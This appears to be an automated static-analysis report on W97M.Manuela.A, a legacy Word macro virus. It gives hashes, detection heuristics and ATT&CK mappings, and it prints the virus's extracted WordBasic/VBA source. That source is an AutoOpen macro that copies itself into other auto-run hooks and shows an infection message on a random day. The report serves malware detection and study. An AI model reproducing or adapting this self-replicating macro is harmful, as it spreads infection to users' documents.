W97M.Manuela.A — Office (OLE) malware analysis

Static analysis result for SHA-256 1836bd7df7b98f20…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-07-20 14:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e861c5f5ad9fb5d5e5f56902e5c73fc SHA-1: 5aac0df7df7a40890fe26b23611b4db1dd1dd739 SHA-256: 1836bd7df7b98f20edad6500f79714923a9483618f137238d385fabae7561866
240 Risk Score

Malware Insights

W97M.Manuela.A · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of older malware. The script attempts to copy itself to other macro hooks like AutoClose, AutoExec, AutoNew, and AutoExit, and then executes a payload. The payload, when triggered under specific conditions (Day(Now()) = U), displays a message box identifying the infection as 'W97M.Manuela.A virus'. This suggests a self-propagating macro virus designed to infect other documents.

Heuristics 5

  • ClamAV: Doc.Trojan.Manuiela-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Manuiela-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1244 bytes
SHA-256: 0c421ed4141d9f6b97a81e67638638cb592844912c039c04dbafa88eb1bf4379
Detection
ClamAV: Doc.Trojan.Manuiela-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
'****************************************
'* ULTRAS CONSTRUCTION KIT FOR WORD 7.0 *
'*            Version 1.0               *
'****************************************
'Name Macro Virus: "W97M.Manuela.A"
'************************************************************
'* AutoOpen macro                                           *
'************************************************************
Sub AutoOpen()
On Error Resume Next
uCkAo$ = filename$() + ":AutoOpen"
uCkAc$ = "AutoClose"
uCkAx$ = "AutoExec"
uCkAn$ = "AutoNew"
uCkAe$ = "AutoExit"
MacroCopy uCkAc$, uCkAo$
MacroCopy uCkAx$, uCkAo$
MacroCopy uCkAn$, uCkAo$
MacroCopy uCkAe$, uCkAo$
FileSaveAs .Format = 1
MacroCopy uCkAc$, uCkAo$
MacroCopy uCkAx$, uCkAo$
MacroCopy uCkAn$, uCkAo$
MacroCopy uCkAe$, uCkAo$
FileSave
Payload
End Sub
Sub Payload()
U = Int(Rnd() * 30) + 1
If Day(Now()) = U Then
MsgBox ("YOU ARE INFECTED WITH W97M.MANUELA.A VIRUS !!!"), ("IMPORTANT !")
End Sub

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